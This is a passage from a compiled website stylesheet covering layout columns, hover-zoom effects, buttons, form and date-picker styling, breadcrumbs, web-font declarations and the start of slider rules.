1484.flex-cols .col-4-5 {
1485  width: 80%;
1486}
1487
1488@media screen and (max-width: 767px) {
1489  .flex-cols .col-4-5 {
1490    width: 100%;
1491  }
1492}
1493
1494.flex-cols.has-gap {
1495  gap: 2em;
1496}
1497
1498.flex-cols.has-gap .col-1-2 {
1499  width: calc(50% - 1em);
1500}
1501
1502@media screen and (max-width: 767px) {
1503  .flex-cols.has-gap .col-1-2 {
1504    width: 100%;
1505  }
1506}
1507
1508.flex-centered {
1509  align-items: center;
1510  justify-content: center;
1511}
1512
1513/* hover zoom */
1514.hover-zoom {
1515  background-color: #000;
1516}
1517
1518.hover-zoom .cover-image,
1519.hover-zoom .object-fit {
1520  -webkit-transform: scale(1.1);
1521  -moz-transform: scale(1.1);
1522  -ms-transform: scale(1.1);
1523  transform: scale(1.1);
1524  -webkit-backface-visibility: hidden;
1525  -moz-backface-visibility: hidden;
1526  -ms-backface-visibility: hidden;
1527  -o-backface-visibility: hidden;
1528  backface-visibility: hidden;
1529  -webkit-transition: opacity 1s ease-in-out, -webkit-transform 1s;
1530  transition: opacity 1s ease-in-out, transform 1s;
1531  pointer-events: none;
1532}
1533
1534.hover-zoom.hover-zoom-small .cover-image,
1535.hover-zoom.hover-zoom-small .object-fit {
1536  -webkit-transform: scale(1.05);
1537  -moz-transform: scale(1.05);
1538  -ms-transform: scale(1.05);
1539  transform: scale(1.05);
1540  -webkit-transition: opacity 1.5s ease-in-out, -webkit-transform 1.5s;
1541  transition: opacity 1.5s ease-in-out, transform 1.5s;
1542}
1543
1544.hover-zoom.has-lazy img[data-src] {
1545  -webkit-transition: opacity 1s ease-in-out, transform 1s;
1546  -moz-transition: opacity 1s ease-in-out, transform 1s;
1547  -ms-transition: opacity 1s ease-in-out, transform 1s;
1548  transition: opacity 1s ease-in-out, transform 1s;
1549  opacity: 0;
1550}
1551
1552.hover-zoom.has-lazy img[data-src].img-loaded {
1553  opacity: 1;
1554}
1555
1556.hover-zoom.has-lazy img[data-src].img-loaded.fade {
1557  opacity: .1;
1558}
1559
1560.hover-zoom:hover .cover-image,
1561.hover-zoom:hover .object-fit {
1562  -webkit-transform: scale(1);
1563  -moz-transform: scale(1);
1564  -ms-transform: scale(1);
1565  transform: scale(1);
1566}
1567
1568.is-zoom {
1569  position: relative;
1570  overflow: hidden;
1571}
1572
1573.is-zoom::before, .is-zoom::after {
1574  content: '';
1575  pointer-events: none;
1576  position: absolute;
1577  opacity: 0;
1578  transition: opacity .75s ease-in-out;
1579}
1580
1581.is-zoom::before {
1582  top: 0;
1583  left: 0;
1584  z-index: 2;
1585  width: 100%;
1586  height: 100%;
1587  background-color: #000;
1588}
1589
1590.is-zoom::after {
1591  top: 50%;
1592  left: 50%;
1593  z-index: 2;
1594  color: #fff;
1595  width: 38px;
1596  height: 38px;
1597  background: url(/images/layout/icons/zoom.png) center no-repeat;
1598  background-size: contain;
1599  transform: translate(-50%, -50%);
1600}
1601
1602.is-zoom .object-fit {
1603  backface-visibility: hidden;
1604  transition: transform .75s;
1605}
1606
1607.is-zoom:hover::before {
1608  opacity: .6;
1609}
1610
1611.is-zoom:hover::after {
1612  opacity: 1;
1613}
1614
1615.is-zoom:hover .object-fit {
1616  transform: scale(1.1);
1617}
1618
1619/* google map embed */
1620.gmap {
1621  height: 500px;
1622  margin: 0 auto 20px;
1623  margin: 0 0 1.8em;
1624}
1625
1626.gmap iframe {
1627  border: none;
1628  width: 100%;
1629  height: 500px;
1630}
1631
1632/* list with items set to display inline block */
1633.inline-list {
1634  margin-left: 0;
1635  /* centered */
1636  /* add pipe delimiters */
1637}
1638
1639.inline-list.pad > li:not(:last-child) {
1640  margin-right: 4em;
1641  margin-bottom: 2em;
1642}
1643
1644.inline-list > li {
1645  display: inline-block;
1646}
1647
1648.inline-list.centered {
1649  text-align: center;
1650}
1651
1652.inline-list.pipes > li:before {
1653  content: '|';
1654  padding: 0 .75em;
1655}
1656
1657.inline-list.pipes > li:first-child:before {
1658  content: '';
1659  padding: 0;
1660}
1661
1662.video-wrapper {
1663  position: relative;
1664  padding-bottom: 56.25%;
1665  /* 16:9 */
1666  padding-top: 25px;
1667  height: 0;
1668}
1669
1670.video-wrapper iframe {
1671  position: absolute;
1672  top: 0;
1673  left: 0;
1674  width: 100%;
1675  height: 100%;
1676}
1677
1678.w-100 {
1679  width: 100%;
1680  height: auto;
1681}
1682
1683/*
1684.bg-vid {
1685	@include transform(translateX(-50%) translateY(-50%));	
1686	position: absolute;
1687	top: 50%;
1688	left: 50%;
1689	min-width: 100%;
1690	min-height: 100%;
1691	width: auto;
1692	height: auto;
1693	background-size: cover; 	
1694	z-index: 2;	
1695	opacity: 1;		
1696}
1697*/
1698/* add arrow */
1699/*
1700.arr { 
1701	&:after { 
1702		content: '\003e'; 
1703		padding-left: .5em;
1704		position: relative;
1705		top: -.05em;
1706	}
1707}
1708*/
1709/* Animate fade up - JS is located in base.js */
1710.fade-up {
1711  -webkit-transition: opacity 0.75s, transform 0.75s;
1712  -moz-transition: opacity 0.75s, transform 0.75s;
1713  -ms-transition: opacity 0.75s, transform 0.75s;
1714  transition: opacity 0.75s, transform 0.75s;
1715  -webkit-transform: translate3d(0, 20px, 0);
1716  -moz-transform: translate3d(0, 20px, 0);
1717  -ms-transform: translate3d(0, 20px, 0);
1718  transform: translate3d(0, 20px, 0);
1719  opacity: 0;
1720}
1721
1722.fade-up.active {
1723  -webkit-transform: translate3d(0, 0, 0);
1724  -moz-transform: translate3d(0, 0, 0);
1725  -ms-transform: translate3d(0, 0, 0);
1726  transform: translate3d(0, 0, 0);
1727  opacity: 1;
1728}
1729
1730/* Variables
1731**********************************/
1732/* all vars, no need for @if critical */
1733/* breakpoints */
1734/* Animation - see header.scss for usage examples */
1735/* Form placeholders */
1736/* Usage:
1737
1738	.foo {
1739	  @include placeholder {
1740		color: green;
1741	  }
1742	}
1743
1744	@include placeholder {
1745	  color: red;
1746	}
1747*/
1748/* Flexbox 
1749***************************************/
1750/* Card */
1751/* Filter */
1752/* Gridder */
1753/*************************************** 
1754	INLINE STYLES - Above the fold
1755****************************************/
1756/* This is used on the <button> element */
1757button {
1758  background: transparent;
1759  border: none;
1760  cursor: pointer;
1761  box-sizing: border-box;
1762  color: currentColor;
1763  padding: 0;
1764  font-family: "Nunito Sans", sans-serif;
1765  transition: background-color .35s, color .35s;
1766}
1767
1768/* Brand button */
1769.btn {
1770  -webkit-transition: background-color 0.35s, color 0.35s;
1771  -moz-transition: background-color 0.35s, color 0.35s;
1772  -ms-transition: background-color 0.35s, color 0.35s;
1773  transition: background-color 0.35s, color 0.35s;
1774  box-sizing: border-box;
1775  color: #ff671f;
1776  font-family: "Lora", serif;
1777  font-size: inherit;
1778  letter-spacing: .025em;
1779  text-align: center;
1780  display: inline-block;
1781  line-height: 1;
1782  text-transform: uppercase;
1783  position: relative;
1784  padding: 0 .5em;
1785}
1786
1787.btn:hover {
1788  color: #56534d;
1789}
1790
1791.btn-pill {
1792  display: inline-block;
1793  color: #fff !important;
1794  font-size: .75rem !important;
1795  border-radius: 2em;
1796  text-transform: uppercase;
1797  font-size: inherit;
1798  position: relative;
1799  letter-spacing: .1em;
1800}
1801
1802.btn-pill + .btn-pill {
1803  margin-left: 2.5em;
1804}
1805
1806@media screen and (max-width: 767px) {
1807  .btn-pill + .btn-pill {
1808    margin: .75em 0;
1809  }
1810}
1811
1812.btn-pill .button-bg {
1813  top: 0;
1814  left: 0;
1815  position: absolute;
1816  width: 100%;
1817  height: 100%;
1818  background: #ff671f;
1819  color: #fff;
1820  border-radius: 2em;
1821  overflow: hidden;
1822  transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1);
1823}
1824
1825.btn-pill .button-bg::before, .btn-pill .button-bg::after {
1826  content: '';
1827  position: absolute;
1828  background: #161441;
1829}
1830
1831.btn-pill .button-bg::before {
1832  width: 110%;
1833  height: 0;
1834  padding-bottom: 110%;
1835  top: 50%;
1836  left: 50%;
1837  border-radius: 50%;
1838  transform: translate3d(-50%, -50%, 0) scale3d(0, 0, 1);
1839}
1840
1841.btn-pill .button-bg::after {
1842  top: 0;
1843  left: 0;
1844  width: 100%;
1845  height: 100%;
1846  opacity: 0;
1847  transition: opacity 0.3s;
1848}
1849
1850.btn-pill > span:not(.button-bg) {
1851  display: block;
1852  position: relative;
1853  padding: .55rem 1.85rem;
1854}
1855
1856.btn-pill:hover {
1857  color: #fff;
1858}
1859
1860.btn-pill:hover .button-bg {
1861  transform: scale3d(1.2, 1.2, 1);
1862}
1863
1864@media screen and (max-width: 767px) {
1865  .btn-pill:hover .button-bg {
1866    transform: scale3d(1.1, 1.1, 1);
1867  }
1868}
1869
1870.btn-pill:hover .button-bg::before {
1871  transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1);
1872  transform: translate3d(-50%, -50%, 0) scale3d(1, 1, 1);
1873}
1874
1875.btn-pill:hover .button-bg::after {
1876  opacity: 1;
1877  transition-duration: 0.01s;
1878  transition-delay: 0.3s;
1879}
1880
1881.btn-pill.btn-ghost {
1882  color: #ff671f !important;
1883  border: 1px solid;
1884}
1885
1886.btn-pill.btn-ghost .button-bg {
1887  background-color: transparent;
1888}
1889
1890.btn-pill.btn-ghost:hover {
1891  color: #fff;
1892}
1893
1894/* Brand button modifiers */
1895.btn-inverted {
1896  background-color: #5B3427;
1897}
1898
1899.btn-inverted:hover {
1900  background-color: #ff671f;
1901}
1902
1903.btn-full {
1904  display: block;
1905}
1906
1907/*
1908.btn-light {
1909	background-color: #fff;
1910	color: #71605c;
1911}
1912
1913.btn-gray {
1914	background-color: #667586;
1915}
1916
1917.btn-black {
1918	background-color: #000;
1919}
1920
1921.btn-bordered {
1922	@include transition(color .35s, border-color .35s, background-color .35s);	
1923	background-color: transparent;	
1924	border: 2px solid;
1925	font-size: 12px;
1926	font-weight: 700;
1927	letter-spacing: .2em;	
1928	text-transform: uppercase;
1929	
1930	&:hover {
1931		background-color: $brand-color;
1932		color: #fff;
1933		border-color: $brand-color;		
1934	}	
1935}*/
1936/*************************************** 
1937	DEFERRED STYLES
1938****************************************/
1939/* Variables
1940**********************************/
1941/* all vars, no need for @if critical */
1942/* breakpoints */
1943/* Animation - see header.scss for usage examples */
1944/* Form placeholders */
1945/* Usage:
1946
1947	.foo {
1948	  @include placeholder {
1949		color: green;
1950	  }
1951	}
1952
1953	@include placeholder {
1954	  color: red;
1955	}
1956*/
1957/* Flexbox 
1958***************************************/
1959/* Card */
1960/* Filter */
1961/* Gridder */
1962/* general form */
1963@media screen and (max-width: 767px) {
1964  form {
1965    font-size: 16px;
1966  }
1967}
1968
1969@media screen and (-webkit-min-device-pixel-ratio: 0) {
1970  select,
1971textarea,
1972input {
1973    font-size: 16px;
1974  }
1975}
1976
1977.label,
1978label {
1979  display: block;
1980  line-height: 1.1em;
1981  margin-bottom: 6px;
1982}
1983
1984input[type="text"],
1985input[type="email"],
1986select,
1987textarea {
1988  box-sizing: border-box;
1989  background-color: #fff;
1990  font-family: "Nunito Sans", sans-serif;
1991  font-size: inherit;
1992  width: 100%;
1993  border: 1px solid #ccc;
1994  border-radius: 0;
1995  outline: none;
1996}
1997
1998input[type="text"],
1999input[type="email"],
2000textarea {
2001  padding: 4px 8px;
2002}
2003
2004select {
2005  padding: 3px 4px;
2006}
2007
2008select:focus {
2009  outline: 1.5px solid black;
2010}
2011
2012button[type="submit"]:not(.btn-pill),
2013input[type="submit"] {
2014  -webkit-transition: background-color 0.35s;
2015  -moz-transition: background-color 0.35s;
2016  -ms-transition: background-color 0.35s;
2017  transition: background-color 0.35s;
2018  -webkit-appearance: none;
2019  border: none;
2020  border-radius: 0;
2021  box-sizing: border-box;
2022  cursor: pointer;
2023  letter-spacing: .2em;
2024  background-color: #ff671f;
2025  color: #fff;
2026  text-transform: uppercase;
2027  font-family: "Nunito Sans", sans-serif;
2028  padding: .6em 2em .6em 2.2em;
2029}
2030
2031button[type="submit"]:not(.btn-pill):hover,
2032input[type="submit"]:hover {
2033  background-color: #999;
2034}
2035
2036::-webkit-input-placeholder {
2037  color: #acacac;
2038  opacity: 1;
2039}
2040
2041:-moz-placeholder {
2042  color: #acacac;
2043  opacity: 1;
2044}
2045
2046::-moz-placeholder {
2047  color: #acacac;
2048  opacity: 1;
2049}
2050
2051:-ms-input-placeholder {
2052  color: #acacac;
2053  opacity: 1;
2054}
2055
2056.tick-list {
2057  list-style-type: none;
2058  margin: 6px 0 0;
2059}
2060
2061.tick-list > li {
2062  display: inline-block;
2063  vertical-align: top;
2064  margin: 0 7px 0 0;
2065}
2066
2067.tick-list > li label {
2068  white-space: nowrap;
2069}
2070
2071@media screen and (max-width: 480px) {
2072  .tick-list > li {
2073    display: block;
2074  }
2075}
2076
2077.tick-list.stack > li {
2078  display: block;
2079}
2080
2081.tick-list label {
2082  display: inline;
2083}
2084
2085.required {
2086  color: #c80303;
2087}
2088
2089/* Site specific common styles */
2090.fs-tick {
2091  margin-bottom: 1.5em;
2092}
2093
2094.fs-tick legend {
2095  box-sizing: border-box;
2096  display: block;
2097  width: 100%;
2098  letter-spacing: .05em;
2099  line-height: 1.25em;
2100}
2101
2102.fs-pairs {
2103  display: flex;
2104  justify-content: space-between;
2105  flex-wrap: wrap;
2106}
2107
2108.fs-pairs > div {
2109  box-sizing: border-box;
2110  margin-bottom: 20px;
2111  position: relative;
2112}
2113
2114.fs-pairs > div:not(.spread) {
2115  width: calc(50% - .75em);
2116}
2117
2118@media screen and (max-width: 767px) {
2119  .fs-pairs > div:not(.spread) {
2120    width: 100%;
2121  }
2122}
2123
2124.fs-pairs .spread {
2125  width: 100%;
2126}
2127
2128@media screen and (max-width: 767px) {
2129  .fs-pairs {
2130    margin: 0;
2131  }
2132}
2133
2134/*
2135.fs-thirds {
2136	//overflow: hidden;
2137	
2138	.field {
2139		//width: 33.3333333333%; 
2140		width: calc(33.3333333333% - 20px);
2141		float: left; 		
2142		box-sizing: border-box;	
2143		margin-bottom: 20px;
2144		position: relative;
2145		
2146		&:nth-child(1){ margin-right: 15px; }
2147		&:nth-child(2){ margin-right: 15px; margin-left: 15px; }
2148		&:nth-child(3){ margin-left: 15px; }
2149		
2150		@media screen and (max-width: 767px){
2151			width: auto;
2152			float: none;
2153			
2154			&:nth-child(1){ margin-right: 0; }
2155			&:nth-child(2){ margin-right: 0; margin-left: 0; }
2156			&:nth-child(3){ margin-left: 0; }
2157		}		
2158		
2159	}
2160			
2161}
2162*/
2163/*
2164.fs-fourths {
2165	.field {		
2166		width: calc(25% - 23px);
2167		float: left;
2168		box-sizing: border-box;	
2169		margin-bottom: 20px;
2170		position: relative;
2171		
2172		&:nth-child(1){ margin-right: 15px; }
2173		&:nth-child(2),
2174		&:nth-child(3){ margin-right: 15px; margin-left: 15px; }
2175		&:nth-child(4){ margin-left: 15px; }
2176		
2177		@media screen and (max-width: 767px){
2178			width: auto;
2179			float: none;
2180			
2181			&:nth-child(1){ margin-right: 0; }
2182			&:nth-child(2),
2183			&:nth-child(3){ margin-right: 0; margin-left: 0; }
2184			&:nth-child(4){ margin-left: 0; }
2185		}		
2186		
2187	}
2188}
2189*/
2190/* Custom select 
2191  - class applies to select element itself, not a wrapper element 
2192  - source: https://css-tricks.com/styling-a-select-like-its-2019/ */
2193.select-css {
2194  display: block;
2195  font-size: 16px;
2196  font-family: sans-serif;
2197  /*font-weight: 700;*/
2198  color: #444;
2199  line-height: 1.3;
2200  padding: .6em 1.4em .5em .8em;
2201  width: 100%;
2202  max-width: 100%;
2203  /* useful when width is set to anything other than 100% */
2204  box-sizing: border-box;
2205  margin: 0;
2206  border: 1px solid #9f9f9f;
2207  /*box-shadow: 0 1px 0 1px rgba(0,0,0,.04);
2208    border-radius: .5em;*/
2209  -moz-appearance: none;
2210  -webkit-appearance: none;
2211  appearance: none;
2212  background-color: #fff;
2213  /* note: bg image below uses 2 urls. The first is an svg data uri for the arrow icon, and the second is the gradient. 
2214        for the icon, if you want to change the color, be sure to use `%23` instead of `#`, since it's a url. You can also swap in a different svg icon or an external image reference
2215        
2216    */
2217  background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22%23007CB2%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%);
2218  background-repeat: no-repeat, repeat;
2219  /* arrow icon position (1em from the right, 50% vertical) , then gradient position*/
2220  background-position: right .7em top 50%, 0 0;
2221  /* icon size, then gradient */
2222  background-size: .65em auto, 100%;
2223}
2224
2225/* Hide arrow icon in IE browsers */
2226.select-css::-ms-expand {
2227  display: none;
2228}
2229
2230/* Hover style */
2231.select-css:hover {
2232  border-color: #888;
2233}
2234
2235/* Focus style */
2236.select-css:focus {
2237  border-color: #aaa;
2238  /* It'd be nice to use -webkit-focus-ring-color here but it doesn't work on box-shadow */
2239  box-shadow: 0 0 1px 3px rgba(59, 153, 252, 0.7);
2240  box-shadow: 0 0 0 3px -moz-mac-focusring;
2241  color: #222;
2242}
2243
2244/* Set options to normal weight */
2245.select-css option {
2246  font-weight: normal;
2247}
2248
2249/* Support for rtl text, explicit support for Arabic and Hebrew */
2250*[dir="rtl"] .select-css, :root:lang(ar) .select-css, :root:lang(iw) .select-css {
2251  background-position: left .7em top 50%, 0 0;
2252  padding: .6em .8em .5em 1.4em;
2253}
2254
2255/* Disabled styles */
2256.select-css:disabled, .select-css[aria-disabled=true] {
2257  color: graytext;
2258  background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22graytext%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%);
2259}
2260
2261.select-css:disabled:hover, .select-css[aria-disabled=true] {
2262  border-color: #aaa;
2263}
2264
2265/*
2266.has-float-label {
2267	box-sizing: border-box;
2268	position: relative;
2269	border-bottom: 1px solid #999;
2270	
2271	label {		
2272		@include transition(all .2s);
2273		position: absolute;
2274		top: .7em;
2275		left: 0;
2276		z-index: 2;
2277		cursor: text;	
2278		color: #000;
2279		font-size: 13px;
2280		letter-spacing: .05em;
2281		//background-color: #fff;
2282		//padding: 0 .6em;
2283		pointer-events: none;
2284	}
2285	
2286	select {
2287		@include appearance(none);	
2288		opacity: 0; // prevent select from showing behind label
2289	}
2290			
2291	
2292	input,
2293	select { 
2294		border: none; 
2295		//padding: 8px;
2296		padding: 8px 8px 8px 0;
2297		height: 36px;
2298		background-color: transparent;
2299	}		
2300	
2301	// active state 
2302	input:focus ~ label,
2303	.has-value ~ label,
2304	select:focus ~ label {		
2305		top: -.6em;
2306		font-size: 11px;				
2307	}
2308	
2309    textarea:focus ~ label {
2310        top: -1.2em;
2311		font-size: 11px;
2312    }
2313
2314	// show select
2315	select:focus,
2316	select.has-value { opacity: 1; }
2317	
2318}
2319*/
2320.has-select {
2321  position: relative;
2322}
2323
2324.has-select::after {
2325  content: '\e809';
2326  font-family: 'fontello';
2327  font-size: 1.2rem;
2328  color: currentColor;
2329  pointer-events: none;
2330  position: absolute;
2331  right: .5em;
2332  bottom: .35em;
2333}
2334
2335body span.ui-button-icon.ui-icon.ui-icon-closethick:before {
2336  content: 'x';
2337  display: block;
2338}
2339
2340body .ui-datepicker {
2341  font-family: "Nunito Sans", sans-serif;
2342  padding: 1em 1.25em;
2343  color: #666666;
2344  width: auto;
2345}
2346
2347body .ui-datepicker table {
2348  font-size: 12px;
2349}
2350
2351body .ui-datepicker th {
2352  font-weight: 400;
2353  padding: .3em;
2354}
2355
2356body .ui-datepicker .ui-datepicker-header {
2357  background: none;
2358  color: currentColor;
2359  border: none;
2360  font-weight: 700;
2361  font-size: 18px;
2362  text-transform: uppercase;
2363  padding-bottom: .25em;
2364}
2365
2366body .ui-datepicker .ui-datepicker-header a {
2367  color: currentColor;
2368}
2369
2370body .ui-datepicker .ui-datepicker-title {
2371  letter-spacing: normal;
2372}
2373
2374body .ui-state-hover,
2375body .ui-datepicker .ui-state-hover,
2376body .ui-datepicker-header .ui-state-hover,
2377body .ui-state-focus,
2378body .ui-datepicker .ui-state-focus,
2379body .ui-datepicker-header .ui-state-focus {
2380  background-color: transparent;
2381}
2382
2383body .ui-state-default,
2384body .ui-datepicker .ui-state-default,
2385body .ui-datepicker-header .ui-state-default {
2386  border: none;
2387  background-color: transparent;
2388  letter-spacing: .05em;
2389}
2390
2391body .ui-datepicker .ui-datepicker-header .ui-icon {
2392  background: none;
2393}
2394
2395body .ui-icon-circle-triangle-w:before {
2396  -webkit-transform: translate(-50%, -50%);
2397  -moz-transform: translate(-50%, -50%);
2398  -ms-transform: translate(-50%, -50%);
2399  transform: translate(-50%, -50%);
2400  content: '';
2401  pointer-events: none;
2402  position: absolute;
2403  top: 50%;
2404  left: 50%;
2405  width: 0;
2406  height: 0;
2407  border-top: 6px solid transparent;
2408  border-bottom: 6px solid transparent;
2409  border-right: 9px solid;
2410}
2411
2412body .ui-icon-circle-triangle-e:before {
2413  -webkit-transform: translate(-50%, -50%);
2414  -moz-transform: translate(-50%, -50%);
2415  -ms-transform: translate(-50%, -50%);
2416  transform: translate(-50%, -50%);
2417  content: '';
2418  pointer-events: none;
2419  position: absolute;
2420  top: 50%;
2421  left: 50%;
2422  width: 0;
2423  height: 0;
2424  border-top: 6px solid transparent;
2425  border-bottom: 6px solid transparent;
2426  border-left: 9px solid;
2427}
2428
2429body .ui-state-active,
2430body .ui-datepicker .ui-state-custom-highlight .ui-state-default,
2431body .ui-datepicker .ui-state-active,
2432body .ui-datepicker-header .ui-state-active {
2433  font-weight: 700;
2434  background-color: #ff671f;
2435  color: #fff;
2436}
2437
2438body .ui-state-highlight,
2439body .ui-datepicker .ui-state-highlight,
2440body .ui-datepicker-header .ui-state-highlight {
2441  background-color: #ccc;
2442  color: #000;
2443  font-weight: 700;
2444}
2445
2446body .ui-datepicker td {
2447  padding: 0;
2448  border: 1px solid #ccc;
2449}
2450
2451body .ui-datepicker td span,
2452body .ui-datepicker td a {
2453  text-align: center;
2454  padding: .75em;
2455}
2456
2457:root {
2458  --litepicker-button-prev-month-color: #333;
2459  --litepicker-button-next-month-color: #333;
2460  --litepicker-highlighted-day-color: #fff;
2461  --litepicker-highlighted-day-color-bg: #802755;
2462}
2463
2464.litepicker {
2465  font-size: .9rem;
2466  border: 1px solid #c5c5c5;
2467}
2468
2469.litepicker .button-previous-month,
2470.litepicker .button-next-month {
2471  position: relative;
2472  cursor: pointer !important;
2473}
2474
2475.litepicker .button-previous-month svg,
2476.litepicker .button-next-month svg {
2477  visibility: hidden;
2478}
2479
2480.litepicker .button-previous-month::before,
2481.litepicker .button-next-month::before {
2482  content: '';
2483  pointer-events: none;
2484  font-family: 'fontello';
2485  font-size: 1rem;
2486  color: currentColor;
2487  position: absolute;
2488  top: 8%;
2489  left: 50%;
2490  transform: translateX(-50%);
2491}
2492
2493.litepicker .button-previous-month:focus,
2494.litepicker .button-next-month:focus {
2495  outline: 1px solid blue;
2496}
2497
2498.litepicker .button-previous-month::before {
2499  content: '\e81a';
2500}
2501
2502.litepicker .button-next-month::before {
2503  content: '\e81b';
2504}
2505
2506.litepicker .container__months {
2507  box-shadow: none;
2508}
2509
2510.litepicker .container__months .month-item-header div > .month-item-name {
2511  font-family: "Lora", serif;
2512  font-weight: 300;
2513  color: #ff671f;
2514  font-size: 1.15rem;
2515  text-transform: uppercase;
2516}
2517
2518.litepicker .container__days > div,
2519.litepicker .container__days > a {
2520  padding: .75rem 0;
2521}
2522
2523.litepicker .container__days .day-item {
2524  border-radius: 0;
2525}
2526
2527.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date.is-flipped {
2528  border-top-left-radius: 0;
2529  border-bottom-left-radius: 0;
2530}
2531
2532.litepicker .container__days .day-item.is-end-date {
2533  border-top-right-radius: 2rem;
2534  border-bottom-right-radius: 2rem;
2535}
2536
2537.litepicker .container__days .day-item.is-start-date.is-end-date {
2538  border-radius: 0;
2539}
2540
2541.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date {
2542  background-color: #ff671f;
2543  color: #fff;
2544}
2545
2546.litepicker .container__days .day-item.is-in-range:focus-visible {
2547  outline-offset: -.15rem;
2548}
2549
2550.litepicker .container__days .day-item.is-today:not(.is-start-date) {
2551  background-color: #eee;
2552  color: #56534d;
2553}
2554
2555.litepicker .container__days .day-item[role="button"] {
2556  cursor: pointer;
2557}
2558
2559.is-admin input[type="text"],
2560.is-admin input[type="email"],
2561.is-admin select,
2562.is-admin textarea,
2563.edit-mode input[type="text"],
2564.edit-mode input[type="email"],
2565.edit-mode select,
2566.edit-mode textarea {
2567  font-family: Arial, Helvetica, sans-serif;
2568}
2569
2570/* Variables
2571**********************************/
2572/* all vars, no need for @if critical */
2573/* breakpoints */
2574/* Animation - see header.scss for usage examples */
2575/* Form placeholders */
2576/* Usage:
2577
2578	.foo {
2579	  @include placeholder {
2580		color: green;
2581	  }
2582	}
2583
2584	@include placeholder {
2585	  color: red;
2586	}
2587*/
2588/* Flexbox 
2589***************************************/
2590/* Card */
2591/* Filter */
2592/* Gridder */
2593.breadcrumb {
2594  font-size: 12px;
2595  margin: 0 1.5em 3em;
2596  text-align: right;
2597  color: #ff671f;
2598}
2599
2600.breadcrumb a {
2601  -webkit-transition: opacity 0.35s;
2602  -moz-transition: opacity 0.35s;
2603  -ms-transition: opacity 0.35s;
2604  transition: opacity 0.35s;
2605  color: #56534d;
2606  opacity: .5;
2607}
2608
2609.breadcrumb a:hover {
2610  opacity: 1;
2611}
2612
2613.breadcrumb li:not(:first-child) {
2614  margin-left: 2em;
2615}
2616
2617.breadcrumb li:last-child a {
2618  color: currentColor;
2619  cursor: default;
2620  pointer-events: none;
2621  opacity: 1;
2622}
2623
2624.breadcrumb li:last-child a br {
2625  display: none;
2626}
2627
2628#hero + .breadcrumb {
2629  margin-top: -1.5em;
2630}
2631
2632@media screen and (max-width: 767px) {
2633  .breadcrumb {
2634    display: none;
2635  }
2636}
2637
2638/* Variables
2639**********************************/
2640/* all vars, no need for @if critical */
2641/* breakpoints */
2642/* Animation - see header.scss for usage examples */
2643/* Form placeholders */
2644/* Usage:
2645
2646	.foo {
2647	  @include placeholder {
2648		color: green;
2649	  }
2650	}
2651
2652	@include placeholder {
2653	  color: red;
2654	}
2655*/
2656/* Flexbox 
2657***************************************/
2658/* Card */
2659/* Filter */
2660/* Gridder */
2661@font-face {
2662  font-family: 'Kristabelle';
2663  src: url("/css/fonts/kristabelle-webfont.woff2") format("woff2"), url("/css/fonts/kristabelle-webfont.woff") format("woff");
2664  font-weight: 400;
2665  font-style: normal;
2666  font-display: swap;
2667}
2668
2669@font-face {
2670  font-family: "Medio";
2671  src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot");
2672  src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot?#iefix") format("embedded-opentype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff") format("woff"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff2") format("woff2"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.ttf") format("truetype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.svg#Medio") format("svg");
2673  font-weight: normal;
2674  font-style: normal;
2675  font-display: swap;
2676}
2677
2678@font-face {
2679  font-family: 'Stay Classy Duo Script';
2680  src: url("/css/fonts/StayClassyDuoScript.eot");
2681  src: url("/css/fonts/StayClassyDuoScript.eot?#iefix") format("embedded-opentype"), url("/css/fonts/StayClassyDuoScript.woff2") format("woff2"), url("/css/fonts/StayClassyDuoScript.woff") format("woff"), url("/css/fonts/StayClassyDuoScript.ttf") format("truetype"), url("/css/fonts/StayClassyDuoScript.svg#StayClassyDuoScript") format("svg");
2682  font-weight: normal;
2683  font-style: normal;
2684  font-display: swap;
2685}
2686
2687@font-face {
2688  font-family: 'kepler';
2689  src: url("/css/fonts/kepler_std_light_display.woff2") format("woff2"), url("/css/fonts/kepler_std_light_display.woff") format("woff");
2690  font-weight: normal;
2691  font-style: normal;
2692}
2693
2694/* Variables
2695**********************************/
2696/* all vars, no need for @if critical */
2697/* breakpoints */
2698/* Animation - see header.scss for usage examples */
2699/* Form placeholders */
2700/* Usage:
2701
2702	.foo {
2703	  @include placeholder {
2704		color: green;
2705	  }
2706	}
2707
2708	@include placeholder {
2709	  color: red;
2710	}
2711*/
2712/* Flexbox 
2713***************************************/
2714/* Card */
2715/* Filter */
2716/* Gridder */
2717/* Slider */
2718.slick-slider {
2719  position: relative;
2720  display: block;
2721  box-sizing: border-box;
2722  -webkit-touch-callout: none;
2723  -webkit-user-select: none;
